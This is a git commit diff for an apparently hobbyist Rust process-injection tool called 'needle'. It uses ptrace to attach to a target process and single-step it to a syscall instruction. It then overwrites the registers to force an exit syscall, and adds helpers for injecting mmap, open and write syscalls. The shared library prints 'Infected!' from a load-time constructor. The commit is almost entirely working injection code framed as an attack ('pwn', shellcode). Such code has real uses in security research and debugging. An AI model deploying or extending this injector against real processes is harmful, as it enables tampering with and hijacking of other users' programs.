feat: PoC execute exit syscall in target process
This commit is contained in:
parent
eba719fb61
commit
67cd814c99
4 changed files with 95 additions and 11 deletions
|
@ -5,10 +5,11 @@ edition = "2021"
|
|||
|
||||
[lib]
|
||||
name = "tetanus"
|
||||
crate-type = ["cdylib"]
|
||||
path = "src/lib.rs"
|
||||
|
||||
[[bin]]
|
||||
name = "rustyneedle"
|
||||
name = "needle"
|
||||
path = "src/main.rs"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
#[ctor::ctor]
|
||||
fn constructor() {
|
||||
println!("Hello world!");
|
||||
println!("Infected!");
|
||||
}
|
||||
|
|
70
src/main.rs
70
src/main.rs
|
@ -1,6 +1,9 @@
|
|||
mod syscalls;
|
||||
|
||||
use std::ffi::c_void;
|
||||
use nix::{sys::ptrace, unistd::Pid, errno::Errno};
|
||||
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
|
||||
use clap::Parser;
|
||||
use syscalls::prepare_exit;
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(author, version, about, long_about = None)]
|
||||
|
@ -13,7 +16,7 @@ struct NeedleArgs {
|
|||
word: u32,
|
||||
}
|
||||
|
||||
pub fn write_buffer(pid: Pid, addr: usize, payload: &[u8], word:u32) -> Result<(), Errno> {
|
||||
pub fn write_buffer(pid: Pid, addr: usize, payload: &[u8], word:u32) -> Result<()> {
|
||||
let mut buffer = payload.to_vec();
|
||||
|
||||
while buffer.len() % word as usize != 0 {
|
||||
|
@ -31,6 +34,53 @@ pub fn write_buffer(pid: Pid, addr: usize, payload: &[u8], word:u32) -> Result<(
|
|||
Ok(())
|
||||
}
|
||||
|
||||
pub fn pwn(pid: Pid, _word_size: usize) -> Result<()> {
|
||||
|
||||
let mut prev_regs;
|
||||
let mut insn_addr;
|
||||
let mut curr_instr;
|
||||
|
||||
loop {
|
||||
prev_regs = ptrace::getregs(pid)?;
|
||||
insn_addr = prev_regs.rip;
|
||||
curr_instr = ptrace::read(pid, insn_addr as *mut c_void)?;
|
||||
// println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr);
|
||||
|
||||
if curr_instr & 0xFFFF == 0x050F {
|
||||
// println!("found syscall!");
|
||||
break;
|
||||
}
|
||||
|
||||
ptrace::step(pid, None)?;
|
||||
waitpid(pid, None)?;
|
||||
}
|
||||
|
||||
// // Put syscall opcodes
|
||||
// let mut syscall_insn = vec![0x00u8; word_size/8];
|
||||
// syscall_insn[0] = 0x05; // it's two!
|
||||
// syscall_insn[1] = 0x0F;
|
||||
|
||||
// unsafe {
|
||||
// ptrace::write(pid, insn_addr, syscall_insn.as_slice().as_ptr() as *mut c_void)?;
|
||||
// }
|
||||
|
||||
let mut call_regs = prev_regs.clone();
|
||||
|
||||
// call_regs.rip = insn_addr;
|
||||
prepare_exit(&mut call_regs, 69);
|
||||
ptrace::setregs(pid, call_regs)?;
|
||||
ptrace::step(pid, None)?;
|
||||
waitpid(pid, None)?;
|
||||
|
||||
// restore code and registers
|
||||
// unsafe {
|
||||
// ptrace::write(pid, insn_addr, prev_instr.as_ptr() as *mut c_void)?;
|
||||
// }
|
||||
// ptrace::setregs(pid, prev_regs)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let args = NeedleArgs::parse();
|
||||
let pid = Pid::from_raw(args.pid);
|
||||
|
@ -40,15 +90,17 @@ fn main() {
|
|||
return;
|
||||
}
|
||||
|
||||
println!("Attached to process #{}", args.pid);
|
||||
|
||||
let shellcode = [42; 20];
|
||||
|
||||
if let Err(e) = write_buffer(pid, 0x66666, &shellcode, args.word) {
|
||||
eprintln!("Failed writing shellcode into process memory space: {}", e);
|
||||
if let Err(e) = waitpid(pid, None) {
|
||||
eprintln!("Failed waiting for process to stop : {}", e);
|
||||
}
|
||||
|
||||
if let Err(e) = ptrace::cont(pid, None) {
|
||||
println!("Attached to process #{}", args.pid);
|
||||
|
||||
if let Err(e) = pwn(pid, args.word as usize) {
|
||||
eprintln!("Could not pwn : {}", e);
|
||||
}
|
||||
|
||||
if let Err(e) = ptrace::detach(pid, None) {
|
||||
eprintln!("Could not resume process : {}", e);
|
||||
} else {
|
||||
println!("Released process #{}", args.pid);
|
||||
|
|
31
src/syscalls.rs
Normal file
31
src/syscalls.rs
Normal file
|
@ -0,0 +1,31 @@
|
|||
use nix::libc::user_regs_struct;
|
||||
|
||||
fn prepare_for_syscall(regs: &mut user_regs_struct, rax: u64, rdi: u64, rsi: u64, rdx: u64, r10: u64, r8: u64, r9: u64) {
|
||||
regs.rax = rax;
|
||||
regs.rdi = rdi;
|
||||
regs.rsi = rsi;
|
||||
regs.rdx = rdx;
|
||||
regs.r10 = r10;
|
||||
regs.r8 = r8;
|
||||
regs.r9 = r9;
|
||||
}
|
||||
|
||||
#[allow(unused)]
|
||||
pub fn prepare_mmap(regs: &mut user_regs_struct, addr: u64, len: u64, prot: u64, flags: u64, fd: u64, off: u64) {
|
||||
prepare_for_syscall(regs, 9, addr, len, prot, flags, fd, off);
|
||||
}
|
||||
|
||||
#[allow(unused)]
|
||||
pub fn prepare_open(regs: &mut user_regs_struct, filename: &str, flags: u64, mode: u64) {
|
||||
prepare_for_syscall(regs, 2, filename.as_ptr() as u64, flags, mode, 0, 0, 0);
|
||||
}
|
||||
|
||||
#[allow(unused)]
|
||||
pub fn prepare_write(regs: &mut user_regs_struct, fd: u64, buf: &str, count: usize) {
|
||||
prepare_for_syscall(regs, 1, fd, buf.as_ptr() as u64, count as u64, 0, 0, 0);
|
||||
}
|
||||
|
||||
#[allow(unused)]
|
||||
pub fn prepare_exit(regs: &mut user_regs_struct, error_code: i64) {
|
||||
prepare_for_syscall(regs, 60, error_code as u64, 0, 0, 0, 0, 0);
|
||||
}
|
Loading…
Reference in a new issue